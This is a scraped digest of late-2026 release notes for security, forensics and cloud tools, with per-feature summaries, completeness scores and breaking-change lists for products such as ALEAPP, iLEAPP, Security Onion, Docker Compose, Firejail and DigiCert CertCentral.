Adds new artifacts for Google Play Store App Data Usage (reading `data_usage.db`, one row per package, date, and network state combination including byte counts), Google Play Services Screen Lock State History, Telegram Push Messages (`unread_push_messages`), Phone Accounts (alongside call logs that now include the SIM ICCID for each call), Health Connect (Android 14+), Samsung Smart Switch, Bluetooth File Transfers (`btopp.db`), Blocked Numbers, Android Auto Rejected Cars, Setup Flags, boot reason entries from the persistent property store, one database per Android user in frosting, Calendar, Settings Search, My Files recents, Android Auto, image rows from `cmh` when `location_view` cannot be queried (Android 16), Instagram Pending Media, Samsung Launcher Search History, Samsung Wi-Fi networks and foreground apps (`TcpMonitorApInfo.json`), Package Rollback Records, Permission Controller Safety Label History, Permission Change Dates, Permission Controller Log, Google Maps Sync places and people, Battery Stats Daily Package Changes, Wi-Fi IP Memory Store, Call Data Logs (Scone), and Mozilla browser profile times.

— Many named sources but little mechanism per item v2026.4.5

03 **Cross-platform filesystem name case-matching** IMPROVED 65

Supports `-t raw` NTFS, ReFS, exFAT, and FAT name case-matching on macOS and Linux to match existing Windows behaviour.

— Names flag and filesystems, clear scope v2026.4.5

04 **New Chromium browser artifacts** NEW 63

Adds Chromium artifacts for Omnibox Shortcuts, Browsing Topics API usage, web notifications, website usage events and share history, Site Permissions with permission prompt actions and counts, the File System API including bucket storage, AccountBookmarks in Bookmarks, and ETag and Last-Modified fields in Downloads.

— Several named surfaces, no extraction mechanism described v2026.4.5

THINNER COVERAGE BELOW

05 **Chromium WebView host-app attribution** IMPROVED 50

Names Chromium browsers from the package folder rather than the full path, so WebViews in Microsoft and other apps are attributed to their host app instead of being misidentified as Edge.

— Explains before/after behaviour clearly v2026.4.5

06 **Facebook Messenger contacts and prefs parsing** NEW 45

Facebook now reads Messenger's contacts store and `prefs_db`, with an Android User column.

— Names db and field, minimal mechanism v2026.4.5

07 **C2PA provenance artifact support** NEW 35

Adds C2PA provenance reading through the vendored `c2pareader` 0.2.0.

— Names library and version, no further detail v2026.4.5

08 **Hive box inventory artifact** NEW 35

Adds a Hive box inventory artifact through the vendored `hive-parser`.

— Names tool but no mechanism or scope v2026.4.5

WAS THIS USEFUL?  

iLEAPP

Feedback ⓘ v2026.4.6 NOTES ↗ CODE ↗ RANK

iOS Logs, Events, And Plist Parser

> iLEAPP v2026.4.6 ships a shared SQLite WAL recovery reader used across eleven modules, over 20 new artifact parsers spanning Hive, C2PA, HomeKit and more, plus improvements to raw acquisition matching and Chromium browser profile handling.

└──▷ **WHAT SHIPPED · 6 FEATURES** most completely described first ? what's the number?

01 **Shared SQLite WAL recovery reader** NEW 80

A shared reader — vendored from `sqlite-wal` v0.1.0 — reads committed rows, the previous WAL generation, and an uncommitted tail. `is_sqlite_sidecar` replaces hand-written sidecar filters in eleven modules, and Snapchat, Google Photos, Google Chat, Life360, Discord and Bluetooth LE now surface rows only earlier WAL states hold.

— Names the vendored library and affected function, but no CLI entry point given.

v2026.4.6

02 **Case-insensitive, deduplicated `-t raw` acquisitions** IMPROVED 80

Improves `-t raw` acquisitions: matches NTFS, ReFS, exFAT and FAT filenames case-insensitively on macOS and Linux, processes a file matched by two patterns of one artifact only once, and now matches Call History Transactions, Spotlight Index and Twint stores at a bare Data volume root.

— Names the exact flag and filesystem/artifact scope affected. v2026.4.6

03 **Broader Chromium browser profile and identification handling** IMPROVED 80

Improves Chromium browser handling: reads every Chrome and Edge profile folder, not only `Chrome/Default`, including `Login Data For Account` and the Google app's `Login Data`, surfaces `AccountBookmarks` in the Bookmarks artifact, and names each Chromium browser from its app container's `MCMMetadataIdentifier` rather than words in the staged path.

— Names exact files, fields and identifier source used for the fix. v2026.4.6

04 **New forensic artifact parsers across apps and system stores** NEW 70

Adds new artifacts: Hive box inventory (vendored `hive-parser`); C2PA provenance (vendored `c2pareader` 0.2.0); Chrome Sync and Chromium Open Tabs for iOS Chromium browsers; Focus mode configurations and assertions; Find My cache;

HomeKit Homes, Users and Accessories (read from `homed/datastore.sqlite` and `homed/core.sqlite`); Suggestions Store contact details and URLs (from `Suggestions/entities.db`); Widget Engagements (from `_ATXInfoSuggestionStore.db`); Meta Apps Time In App (from `time_in_app_<id>.db`); Quick Look Thumbnails (`thumbnails.data` rendered); Keyboard Text Replacements (`TextReplacements.db`); and Playback Session Archives, Life360 Location State Samples, `mt.lastLaunch` App Dates, CarKit Connection Events, Contacts Me Card Donations, FaceTime Messages, Line Calls, Lockdown Pair Records, Pending Notifications, and Photos Picker Log.

— Enumerates every new parser and its source file but no usage mechanism beyond that.

v2026.4.6

05 **New unified log and sysdiagnose artifacts** NEW 60

Adds new unified log artifacts covering Lockdown Mode, passkey record loads, background shortcut actions, and VPN connectivity, plus new artifacts for Screen Time store artifacts (RMAdminStore), SMS and iMessage reactions, edit history, unsent parts, replies, recently deleted, link previews and app messages, sysdiagnose associated domains, MC event lists, Network Extension, iCloud Drive (`brctl`), and process task info, contributed by @danjethh.

— Lists named artifact types but gives no parsing detail or location. v2026.4.6

THINNER COVERAGE BELOW

06 **Wi-Fi plist parsing from sysdiagnose archives** NEW 50

Read Wi-Fi plists from sysdiagnose archives, and find archives saved as `<identifier>_sysdiagnose.tar.gz`.

— Names the archive naming pattern but little else about scope. v2026.4.6

WAS THIS USEFUL? 👍 👎

Request Tracker / RTIR (Best Practical)

Feedback ⓘ RT and RTIR 6.0.4 and 5.0.11 Released (2026-11-02) BLOG ↗

RANK

Request tracker / rtir (best practical) is a open source ticketing system from Best Practical. Self-host RT or let us run it in the cloud.

> Request Tracker 6.0.4 (with parts backported to 5.0.11) ships native multi-factor authentication, a lifecycle graph shown directly on tickets and assets, and a redesigned attachments and links UI.

└──▷ **WHAT SHIPPED · 3 FEATURES** most completely described first ? what's the number?

01 **Native multi-factor authentication on login** NEW 40

RT now adds native multi-factor authentication support on login; this was also backported to RT 5.0.11.

— Names the capability and versions but no setup or config details.

RT and RTIR 6.0.4 and 5.0.11 Released (…

02 **Lifecycle graph display on tickets and assets** NEW 35

RT 6.0.4 now displays the lifecycle graph directly on tickets and assets.

— States what changed but not how to view or configure it.

RT and RTIR 6.0.4 and 5.0.11 Released (…

03 **Redesigned attachments and links UI** IMPROVED 30

RT 6.0.4 now shows redesigned attachments and links components on tickets.

— Brief note of a UI redesign without specifics of changes.

RT and RTIR 6.0.4 and 5.0.11 Released (…

WAS THIS USEFUL? 👍 👎

NETWORK SECURITY

◆ Network Analysis & Monitoring

Security Onion

Feedback ⓘ 3.4.0-20261102 NOTES ↗ RANK

Security Onion is a free and open platform for threat hunting, enterprise security monitoring, and log management. It includes our own interfaces for alerting, dashboards, hunting, PCAP, detections, and case management.

> Security Onion 3.4.0 introduces initial multi-event Correlations in the detection engine, unifies automation workflows with new configurable timeouts, and expands its SOAI assistant with a new model, embedding support, and a larger context limit.

└──▷ **WHAT SHIPPED · 7 FEATURES** most completely described first ? what's the number?

01 **Unified automations with configurable timeouts** IMPROVED 65

Automations are now unified, consolidating alert and notification automation workflows into a single system. Adds configurable timeouts, including per-automation turn timeouts and configurable timeouts for detection engine syncs, giving operators more control over automation and sync behaviour.

— Explains mechanism and scope but lacks exact config keys 3.4.0-20261102

02 **AI model and embedding expansions in SOAI** NEW 65

Added `openai_embeddings` to the YAML configuration to enable OpenAI embedding support, added Claude Haiku as an available SOAI assistant model alongside existing options, and raised the SOAI Sonnet default small context limit to 1 million tokens.

— Names config key, model, and exact numeric limit 3.4.0-20261102

03 **custom_bind_mounts for Kafka and SOC containers** NEW 60

Added `custom_bind_mounts` support to `so-kafka` and `so-soc` containers for custom volume mappings.

— Names exact config key and affected containers 3.4.0-20261102

THINNER COVERAGE BELOW

04 **allowExternalMarkdownImages SOC setting** NEW 55

Added `allowExternalMarkdownImages` SOC setting to control rendering of external images in markdown.

— Exact setting name given but behaviour only briefly described 3.4.0-20261102

05 **Correlations support in detection engine** NEW 45

Security Onion now supports initial Correlations, enabling multi-event correlation rules in the detection engine.

— Describes capability but no config/API name given 3.4.0-20261102

06 **Managed directory for Sigma pipelines** IMPROVED 30

Sigma pipelines are now stored in a managed directory for cleaner rule organisation.

— No path or command given, thin description 3.4.0-20261102

07 **Metric alarms and notification annotations** NEW 25

Metric alarms and additional notification annotations expand alerting observability.

— Generic mention with no specifics on scope or usage 3.4.0-20261102

WAS THIS USEFUL? 👍 👎

CLOUD & CONTAINER SECURITY

◆ Cloud Security Posture

Lacework FortiCNAPP

Feedback ⓘ updated · Nov 3, 2026

NOTES ↗ RANK

Lacework FortiCNAPP is a cloud-native application protection platform from Fortinet that secures cloud workloads, containers, and infrastructure through vulnerability scanning, misconfiguration detection, and runtime threat monitoring.

> Lacework FortiCNAPP shipped per-type customization of composite alert severity and introduced Risk Insights in Public Preview.

└──▷ **WHAT SHIPPED · 2 FEATURES** most completely described first ? what's the number?

01 **Composite alert severity customization** IMPROVED 45

Customize composite alerts by setting the severity level of each composite alert type individually, or turn off specific alert types entirely.

— Describes capability but no UI path or config key given snapshot-20261103

02 **Risk Insights in Public Preview** NEW 20

Risk Insights is now available in Public Preview.

— Bare announcement with no detail on functionality snapshot-20261103

WAS THIS USEFUL? 👍 👎

◆ CNAPP

Plerion

Feedback ⓘ Say hello to a new Compute Engine secret check:

NOTES ↗ RANK

Plerion is a cloud security platform that detects misconfigurations, vulnerabilities, and threats across cloud environments and provides remediation guidance.

> Plerion added four new AWS Security Incident Response detections in CDR and two new GCP Compute Engine checks covering hard-coded secrets in startup scripts and end-of-life operating systems.

└──▷ **WHAT SHIPPED · 3 FEATURES** most completely described first ? what's the number?

01 **AWS Security Incident Response detections in CDR** NEW

83

Updating the CDR StackSet to the latest template enables four new detections, `PLERION-CLOUDTRAIL-86` through `PLERION-CLOUDTRAIL-89`, that fire when a case is created or updated, or when a comment is added or edited. The detections are Medium severity and off by default, so they must be turned on in your profile.

— Names exact detection IDs and enablement step, but no example shown

Say hello to a new Compute Engine secre…

02 **GCP check for hard-coded secrets in Compute Engine startup scripts**

NEW

75

New GCP check `PLERION-GCP-340` reads Compute Engine instance startup scripts from metadata keys `startup-script`, `user-data`, and the Windows startup and sysprep script keys, and fails the instance at Medium severity when a script holds a hard-coded credential. The finding names the metadata key, and the matched value is masked before storage.

— Mechanism and metadata keys named, but no runnable command or UI path

Say hello to a new Compute Engine secre…

03 **GCP check for end-of-life Compute Engine OS images** NEW

73

New GCP check `PLERION-GCP-341` reads the public image license on a Compute Engine instance's boot disk and fails the instance at Medium severity when the OS is past end-of-life, covering Debian, Ubuntu, CentOS, RHEL, Rocky Linux, AlmaLinux, Oracle Linux, SUSE, and Windows Server images.

— Lists covered OS images and mechanism, no example or navigation path

Say hello to a new Compute Engine secre…

NEW VULNERABILITY CHECK CWPP service account template check

NEW SUPPORTED PLATFORM Continuous scanning coverage across AWS resource types

> Continuous scanning for AWS accounts: NOTES ↗ STABLE
>
> Plerion adds event-driven continuous scanning for AWS accounts, updating findings within minutes of CloudTrail events, off by default and priced at 3 units per changed-asset scan.
>
> Turn on continuous scanning for an AWS account on the account integration's page (requires CDR to be set up first); it is off by default, re-scans on CloudTrail management events, and updates findings within minutes of each event.
>
> Each continuous asset scan that finds a change costs 3 Plerion units; re-scans that detect no change are free; continuous scanning appears as its own type on the subscription usage chart.

WAS THIS USEFUL? 👍 👎

Rapid7 InsightCloudSec

Feedback ⓘ

changelog · Nov 2, 2026 BLOG ↗ RANK

Rapid7 InsightCloudSec is a cloud security platform that monitors multi-cloud environments to detect misconfigurations, enforce compliance policies, and manage risk across AWS, Azure, and Google Cloud.

> Rapid7 InsightCloudSec's 26.11.3 release added new posture-check Insights, expanded harvester data collection, and improved visibility into Azure load balancer configurations.

└──▷ **WHAT SHIPPED · 3 FEATURES** most completely described first ? what's the number?

01 **Improved Azure load balancer visibility** IMPROVED 25

InsightCloudSec now surfaces improved visibility into Azure load balancer configurations.

— Names Azure load balancers but no mechanism or fields 2026-11-02-7e9eb024

02 **New and updated cloud security posture Insights** IMPROVED 20

InsightCloudSec now includes new and updated Insights for cloud security posture checks.

— No specifics on which Insights or checks changed 2026-11-02-7e9eb024

03 **Harvester updates for additional resource data** IMPROVED 20

InsightCloudSec now harvests additional cloud resource data with harvester updates.

— No named resource types or harvester details given 2026-11-02-7e9eb024

WAS THIS USEFUL? 👍 👎

◆ Container & Image Security

Docker Compose

Feedback ⓘ v5.7.0 NOTES ↗ RANK

Define and run multi-container applications with Docker

> Docker Compose v5.7.0 adds several CLI conveniences — a push flag to skip missing images, cross-project stats aggregation, a `umask` service attribute, and a `run` flag to reuse dependencies — while also extending the library API with new validation helpers and shipping multiple breaking changes to typed options and exported symbols.

└──▷ **WHAT SHIPPED · 7 FEATURES** most completely described first ? what's the number?

01 **Breaking changes to library API types and exports** BREAKING

90

`DownOptions.Images` is now typed as `api.ImagePruneMode`; a `string` variable passed where it was previously accepted now requires an explicit conversion. `compose.ServiceHash`, `compose.NetworkHash`, and `compose.VolumeHash` are no longer exported; code that referenced them must switch to the internal package or remove the call. The interactive `up` keyboard menu is no longer built by the library; callers must set `NavigationMenu: true` AND supply an implementation via compose.WithNavigationMenu(...), or no menu is displayed. `Up` now ignores `StartOptions.Project` and operates only on the project passed directly to it; callers relying on `StartOptions.Project` must pass the project directly.

— Names every affected symbol with precise migration guidance v5.7.0

02 **Library API push and up-validation helpers** NEW

80

Adds new library API capabilities: `PushOptions.IgnoreMissing` lets callers skip locally absent images when calling `api.Compose.Push`, and UpOptions.Validate() lets callers validate `Up` option combinations upfront, returning `*api.IncompatibleOptionsError` (matchable with errors.Is(err, api.ErrIncompatibleOptions)) instead of silently ignoring them.

— Names types, methods and error handling precisely v5.7.0

03 **New CLI flags for docker compose push, stats, and run** NEW

75

Adds `--ignore-missing` to `docker compose push` to skip images not available locally during push, `--all-projects` and `--aggregate` to `docker compose stats` for cross-project resource monitoring with per-service rollups, and `--no-recreate` to `docker compose run` to reuse existing dependency containers without recreating them.

Push all service images, silently skipping any that are not present in the local image store.

```
$ docker compose push --ignore-missing
```

Watch live resource usage rolled up across every running Compose project on the host.

```
$ docker compose stats --all-projects --aggregate
```

— Names exact flag and subcommand with a runnable example Names both flags with a runnable example command Names flag but no example or deeper mechanism given

v5.7.0

04 **New compose.yaml service attributes** NEW 75

Adds a `umask` service attribute in `compose.yaml` to control the file-creation mask inside the container, and lets a service opt out of its own name as a network alias in `compose.yaml`.

Set a restrictive file-creation mask for a service so new files inside the container are not world-readable.

yaml

```yaml
services:
  api:
    image: myapp:latest
    umask: '0027'
```

— Names config key and file with a concrete YAML example No config key or mechanism named, vague description

v5.7.0

THINNER COVERAGE BELOW

05 **BuildKit bake concurrency passthrough** IMPROVED 50

Pass the `--parallel` concurrency limit through to BuildKit bake as `--jobs` when building with bake.

— Names both flags but no example of use v5.7.0

06 **api.Compose split into six interfaces** IMPROVED 45

`api.Compose` is now assembled from six smaller focused interfaces with the same method set, making it easier to implement or wrap in library code.

— Explains refactor but doesn't name the six interfaces v5.7.0

07 **Docker Hub auth via Docker Desktop session** IMPROVED 40

Docker Compose now uses the Docker Desktop Hub session for Docker Hub registry credentials automatically.

— Explains behaviour but no setup steps or flags v5.7.0

└──▷ **BREAKING ON UPGRADE**

! `DownOptions.Images` is now typed as `api.ImagePruneMode`; a `string` variable passed where it was previously accepted now requires an explicit conversion.

! `compose.ServiceHash`, `compose.NetworkHash`, and `compose.VolumeHash` are no longer exported; code that referenced them must switch to the internal package or remove the call.

! The interactive `up` keyboard menu is no longer built by the library; callers must set `NavigationMenu: true` AND supply an implementation via compose.WithNavigationMenu(...), or no menu is displayed.

! `Up` now ignores `StartOptions.Project` and operates only on the project passed directly to it; callers relying on `StartOptions.Project` must pass the project directly.

WAS THIS USEFUL? 👍 👎

Anchore

Feedback ⓘ

Faster Answers, Fewer False Positives with Anchore Enterprise v6.3 (2026-10-27)

BLOG ↗

Anchore's software supply chain solutions automate vulnerability scanning, strengthen container security, and support compliance with NIST, FedRAMP & more.

v6.3 adds Quick Package Search (by name, version, or PURL), vulnerability-worsening alerts, and AI model policy gating with Fail or Warn outcomes.

Search for affected packages by name, name-plus-version, or PURL before a CVE is published — or when one never gets assigned — using the new Quick Package Search.

Anchore Enterprise now fires detailed notifications when a known vulnerability's CVSS score or severity, EPSS score, or CISA KEV status changes after initial triage.

Discovered AI models (GGUF and Docker Models) are now reported as packages inside application versions, making them visible in the same inventory as other components.

Gate AI models in pipeline policy with two outcomes — Fail (hard stop) or Warn (flag for parallel vetting) — using the new packages policy gate for AI models.

NEW SUPPORTED PLATFORM Ubuntu ESM vulnerability data feed support

WAS THIS USEFUL? 👍 👎

◆ Runtime Security

Firejail

Feedback ⓘ 0.9.82 NOTES ↗ CODE ↗

Linux namespaces and seccomp-bpf sandbox

Firejail adds `${PROJECTS}`, `${PUBLICSHARE}`, `${TEMPLATES}` XDG macros, subpath support in XDG macros, `syscall:log` for audit-mode seccomp, a `@program-keep` syscall group, and `profstats --include`.

└──▷ GET THIS VERSION ▾

```
$ git clone --branch 0.9.82 https://github.com/netblue30/firejail.git
# already have the repo? check out this version:
$ git checkout 0.9.82
```

Add `${PROJECTS}`, `${PUBLICSHARE}`, and `${TEMPLATES}` macros to profile files for referencing XDG user directories.

Allow subpaths in XDG macros in profile files, so paths like `${DOCUMENTS}/reports` are now valid.

Implement `syscall:log` in seccomp lists to log rather than block a syscall, enabling audit-style profiling.

Add the `profstats` tool's `--include` command-line option to filter profile statistics.

Add a new `@program-keep` syscall group for seccomp allowlists.

NEW SUPPORTED PLATFORM New application sandbox profiles

NEW SUPPORTED PLATFORM llm-agent-common base profile

└──▷ BREAKING ON UPGRADE

! `--x11=xpra` support is removed; profiles or scripts using it will error.

! `--x11=xephyr` is removed as a direct option; Xephyr is now used automatically by `--x11`.

! `--x11=xorg` and `--x11=xvfb` are disabled in the default build; re-enabling requires `./configure --enable-x11-legacy`.

! `--ip=dhcp` is temporarily disabled; sandboxes relying on DHCP assignment will not start.

! `--bandwidth=` is removed; any profile or script using it will error.

! `--tracelog` and `--blacklist-nolog` are removed; profiles or scripts using them will error.

- ! `--private-home` is removed; profiles or scripts using it will error.
- ! `private-lib` profile feature is removed; profiles using it will error.
- ! SSH restricted shell feature is removed.
- ! `firecfg --guide` is removed; the guidance is now in `man firejail`.
- ! `./configure --enable-busybox-workaround` and `./configure --disable-sandbox-check` options are removed.
- ! `--chroot=` is disabled in the default build; re-enabling requires `./configure --enable-chroot`.

WAS THIS USEFUL? 👍 👎

DETECTION & RESPONSE

◆ Endpoint Security (EDR/XDR)

Trend Vision One

Feedback ⓘ

Agentless Vulnerability & Threat Detection version 1.657.10291433 (2026-11-04)

BLOG ↗ RANK

Trend Vision One is Trend Micro's unified cybersecurity platform that consolidates threat detection, response, and risk management across endpoints, cloud, email, and networks.

> Trend Vision One's Agentless Vulnerability & Threat Detection now supports deploying scanners directly into a customer's own AWS VPC for tighter network isolation.

└──▷ **WHAT SHIPPED · 1 FEATURE** most completely described first ? what's the number?

01 **VPC deployment for Agentless Vulnerability & Threat Detection**

UPDATED SUPPORTED PLATFORM NEW 69

Agentless Vulnerability & Threat Detection can now be deployed directly into your own AWS Virtual Private Cloud (VPC) via CloudFormation, for greater network isolation and control. Configure this under Cloud Security → Cloud Accounts → AWS by selecting the CloudFormation deployment method and choosing your target VPC.

When you need to keep agentless scanning traffic inside your own network boundary — for compliance or segmentation — deploy the scanner into your VPC instead of the default shared network.

> 📍 In the Trend Vision One console, go to Cloud Security → Cloud Accounts → AWS and select the CloudFormation deployment method, then choose your target VPC when prompted.

— Names exact UI path and deployment method but lacks limits or further mechanism.

Agentless Vulnerability & Threat Detect…

UPDATED SUPPORTED PLATFORM TrendAI Lambda functions excluded from scanning by default

> Agentless Vulnerability & Threat Detection version 1.657.10291433 (2026-11-04)
>
> BLOG ↗ LATEST STABLE
>
> Agentless Vulnerability & Threat Detection adds tag-based filtering for AWS scans and a new audit log showing matched vs. total resource counts.
>
> Add tag-based filtering for AWS scans to include resources, exclude resources, or both, so only matching resources are scanned — configured via the Configuration tab

of Agentless Vulnerability & Threat Detection.

The audit log now reports the defined include/exclude tags, whether TrendAI Lambda functions are excluded or scanned, and the count of matched resources against total detected resources.

└──▷ **BREAKING ON UPGRADE**

! TrendAI Lambda functions are now excluded from Agentless Vulnerability & Threat Detection scans by default; existing deployments that relied on scanning these functions must re-enable the option on the Configuration tab.

WAS THIS USEFUL? 👍 👎

◆ Security Data Pipeline

Cribl

Feedback ⓘ changelog · Nov 2, 2026 BLOG ↗ RANK

Cribl is the AI Platform for Telemetry, providing open, flexible infrastructure that helps enterprises manage, connect, and analyze their data across IT, security, and observability environments.

> Cribl shipped a new public benchmark for telemetry decision models and an open-weight model family trained specifically for telemetry classification and routing.

└──▷ **WHAT SHIPPED · 2 FEATURES** most completely described first ? what's the number?

01 **Telemetry Decisions Bench public benchmark** NEW 75

Cribl adds Telemetry Decisions Bench, a public benchmark and leaderboard covering 4,806 production-like IT, security, and telemetry decision tasks across 10 task families, reporting accuracy, negative log-likelihood (NLL), expected calibration error (ECE), latency per decision, and cost for API models.

— Names metrics and task counts but no API or access path. 2026-11-02-8660462f

02 **cribl-decision-2 open-weight model family** NEW 75

Cribl adds cribl-decision-2, a family of open-weight decision models available for download from Hugging Face, with sizes at 0.8B (20 ms per decision) and 4B (78 ms per decision), trained specifically for telemetry classification and routing decisions.

— Names model sizes, latency, and Hugging Face as the download source.

2026-11-02-8660462f

WAS THIS USEFUL? 👍 👎

◆ SIEM

Databricks

Feedback ⓘ

Databricks Runtime 19: November 2, 2026 (2026-11-02) BLOG ↗ RANK

Databricks is a cloud-based data lakehouse platform for data engineering, analytics, machine learning, and AI workloads, built on Apache Spark.

> Databricks shipped finer-grained history control for Delta Sharing views, expanded Genie Agent to analyze unstructured files in Unity Catalog volumes with cited answers, and raised Unity Catalog secret limits while adding BROWSE support.

└──▷ **WHAT SHIPPED · 3 FEATURES** most completely described first ? what's the number?

01 History control on shared views NEW

85

New `WITH HISTORY` and `WITHOUT HISTORY` clauses on `ALTER SHARE ADD VIEW` and `ALTER SHARE ALTER VIEW` let you control whether a view's full history is exposed to Delta Sharing recipients; existing history defaults are unchanged for views already shared.

Add a view to a Delta Sharing share while exposing its full history to recipients.

```
$ ALTER SHARE my_share ADD VIEW my_catalog.my_schema.my_view WITH HISTORY;
```

— Names exact SQL clauses and runnable example Databricks Runtime 19: November 2, 2026…

02 Genie Agent analysis of unstructured files in volumes NEW

70

Databricks Genie Agent can now analyze unstructured files stored in Unity Catalog volumes — including PDFs, slide decks, and images — and answers queries with citations pointing to the source page. Workspace admins control access via the Previews page by enabling 'Analyze files in volumes with a Genie Agent' under Settings > Previews.

Enable Genie Agent file analysis for Unity Catalog volumes so your workspace can query PDFs and slide decks with cited answers.

> 📍 In the Databricks workspace, go to Settings › Previews and enable 'Analyze files in volumes with a Genie Agent'.

— Explains mechanism and exact UI navigation to enable

Genie Agents enhancements (2026-11-02)

03 **Unity Catalog secrets: BROWSE support and higher limits**

IMPROVED 70

Unity Catalog secrets now support the `BROWSE` privilege, letting users discover secrets and their metadata without read access to values or code references, by granting `BROWSE` on a catalog. Per-schema and per-metastore secret limits were raised to 1,000 secrets per schema and 10,000 per metastore (up from 100 and 1,000), for both Databricks-managed secrets and secrets backed by AWS Secrets Manager.

— Names privilege and exact before/after limits, no runnable command

Higher limits and BROWSE support for Un…

WAS THIS USEFUL? 👍 👎

EXPOSURE & VULNERABILITY MANAGEMENT

◆ Attack Surface & Exposure Management

Censys

Feedback ⓘ November 2, 2026 (2026-11-02) BLOG ↗ RANK

Censys is a internet-wide scanning and search platform that discovers and monitors hosts, services, and certificates to help security teams assess their exposure.

└──▷ **WHAT SHIPPED · 4 FEATURES** most completely described first ? what's the number?

01 **Flattened credit costs for actions** IMPROVED 63

Free and Starter users now pay one credit per UI or API action, replacing the previous tiered costs (lookup: 1 credit, standard search: 5 credits, advanced/regex query: 8 credits), so monthly allotments go further.

– Clear before/after numbers but no actionable command or endpoint

November 2, 2026 (2026-11-02)

THINNER COVERAGE BELOW

02 **New software and OS fingerprints** NEW 40

Censys adds a new `Wordpress Plugin - Gravity Forms` software fingerprint and a new Cisco NX-OS OS fingerprint to the Platform.

– Names both fingerprints but no detail on detection scope or usage

November 2, 2026 (2026-11-02)

03 **Daily free Platform actions** NEW 35

Every Free and Starter user now receives five free Platform actions per day.

– States the benefit but no mechanism for how actions are tracked or reset

November 2, 2026 (2026-11-02)

04 **Credit packs discontinued** BREAKING 21

Censys credit packs can no longer be purchased.

– States the change with no further detail or migration guidance

November 2, 2026 (2026-11-02)

└──▷ **BREAKING ON UPGRADE**

! Censys Credit packs can no longer be purchased.

WAS THIS USEFUL? 👍 👎

syzkaller

Feedback ⓘ changes since 2026-11-02 CODE ↗

syzkaller is an unsupervised coverage-guided kernel fuzzer

syzkaller's dashboard adds a `RouteLabel` to control how bugs are routed to external reporting stages

Adds a new `RouteLabel` bug label (type `"route"`) to the dashboard so AI security assessments can tag bugs with a routing destination; the label is visible at `AccessUser` level and, once set, is never overwritten by subsequent assessments.

Dashboard now passes bug labels, including the new route label, through to external bug reportings so downstream consumers see the full label set.

WAS THIS USEFUL? 👍 👎

◆ Vulnerability Management

defectdojo

Feedback ⓘ 3.5.0 NOTES ↗ RANK

Open-Source Unified Vulnerability Management, DevSecOps & ASPM

> DefectDojo 3.5.0 lets operators supply secret key fallbacks via an environment variable, adds a plugin hook for scoping default querysets, introduces LocationData builders for domain, IP, and certificate data, and allows Cloud customers to bring their own AI model for Sensei.

└──▷ **WHAT SHIPPED · 4 FEATURES** most completely described first ? what's the number?

01 Secret key fallbacks via environment variable NEW

80

Django secret key fallbacks can now be supplied through the `DD_SECRET_KEY_FALLBACKS` environment variable instead of being hardcoded in `settings.dist.py` or `local_settings.py`.

Supply secret key fallbacks through the environment so they are never committed to config files.

```
$ DD_SECRET_KEY_FALLBACKS='oldsecret1,oldsecret2' docker compose up
```

— Exact env var named with a runnable command example 3.5.0

THINNER COVERAGE BELOW

02 Default-queryset hook for plugins NEW

45

A new default-queryset hook, introduced via a database migration, lets plugins scope querysets at the model level.

— Mechanism named but no usage example given 3.5.0

03 LocationData builders for domain, IP, certificate data NEW

45

DefectDojo adds `LocationData` builders for domain, IP, and certificate data to populate location records programmatically.

— Names builder types but no code example shown 3.5.0

04 Custom AI model for Sensei on Cloud NEW

30

DefectDojo Cloud instances can now supply their own AI model for the Sensei feature.

— Thin description with no configuration details 3.5.0

WAS THIS USEFUL? 👍 👎

IDENTITY, ACCESS & DATA PROTECTION

◆ Identity & Access Management

Nudge Security Feedback ⓘ

Discover and govern AI agents across 23 agentic platforms NOTES ↗

Nudge Security is a SaaS security platform that discovers shadow IT assets, manages identity governance, and hardens security posture.

Nudge Security adds an AI agent inventory view at Identities > AI agents, risk flagging for publicly accessible agents, hardcoded credentials, and unauthenticated MCP connections, plus creator-nudge workflows to capture agent intent.

NEW INTEGRATION Access the full AI agent inventory at `Identities > AI agents`, where each agent shows its creator, platform, integrations, permissions, and approval status regardless of which discovery channel found it.

Flag risky AI agents that are publicly accessible, carry hardcoded credentials, use unauthenticated MCP connections, or whose creators have left the organization.

Send a nudge to an agent's creator to collect a plain-language explanation of the agent's purpose and required access, with the answer saved to the agent's record.

WAS THIS USEFUL? 👍 👎

1Password

Feedback ⓘ 1Password SaaS Manager #2362 (2026-10-28)

BLOG ↗

All the latest releases from the 1Password team

1Password SaaS Manager adds team-based application ownership, a Billed credits column in AI Spend, configurable AI usage on team deletion, and customizable spend explorer columns.

Assign teams as application owners in the Applications area.

Track billed credits in AI Spend and Consumption with a new Billed credits column for providers that report credits.

Configure how AI usage is handled when a team is deleted.

Customize columns, view rolled-up token totals, and access estimated spend directly in the spend explorer.

People with full spend permissions can now update organization currency settings.

NEW INTEGRATION Amplitude integration

NEW INTEGRATION Cerby integration

UPDATED INTEGRATION Humaans GitHub username mapping

UPDATED INTEGRATION Okta custom field mapping

WAS THIS USEFUL? 👍 👎

◆ Public Key Infrastructure (PKI)

DigiCert CertCentral

Feedback ⓘ November 12, 2026

NOTES ↗ RANK

DigiCert CertCentral is a web-based platform for ordering, issuing, managing, and renewing SSL/TLS certificates and other digital trust credentials.

> DigiCert CertCentral tightened enforcement of DCV method validation on its Services API and switched default TLS certificate issuance to new G5 root hierarchies across all supported brands.

└──▷ **WHAT SHIPPED · 2 FEATURES** most completely described first ? what's the number?

01 **DCV method enforcement on Services API** BREAKING 83

API requests that include a `dcv_method` not enabled in the account's configuration now return `invalid_value` (on order or add-domain requests) or `dcv_method_not_allowed` (on DCV method changes) instead of silently succeeding. This is governed by the DCV methods setting under Settings > Preferences > Advanced Settings > Domain Control Validation, which now applies across order endpoints, Change DCV method (pending orders), Add domain, and Change DCV method (domain validation).

Verify which DCV methods your account permits before automated API certificate orders break on the new enforcement.

📍 In CertCentral, go to Settings › Preferences. On the Preferences page, expand Advanced Settings. Under Domain Control Validation (DCV), review DCV methods (ensure every method used by your API integrations is checked) and Set default DCV method (the fallback when `dcv_method` is omitted). Select Save Settings.

— Names exact error codes, settings path and affected endpoints November 12, 2026

02 TLS certificates now issued from G5 roots

BREAKING

73

DigiCert CertCentral now issues all browser-trusted TLS certificates (DV, OV, and EV) from the G5 root hierarchies — `DigiCert TLS RSA4096 Root G5` and `DigiCert TLS ECC P384 Root G5` — by default across DigiCert, GeoTrust, Thawte, RapidSSL, and Encryption Everywhere brands. All new orders, renewals, reissues, and duplicates use these roots, so trust stores, hard-coded CA trust, or pinned certificates lacking the G5 roots and intermediates will see service disruption.

— Names exact root certificates and affected brands, no migration steps November 12, 2026

└──▷ ALSO FROM THESE RELEASES

└──▷ BREAKING ON UPGRADE

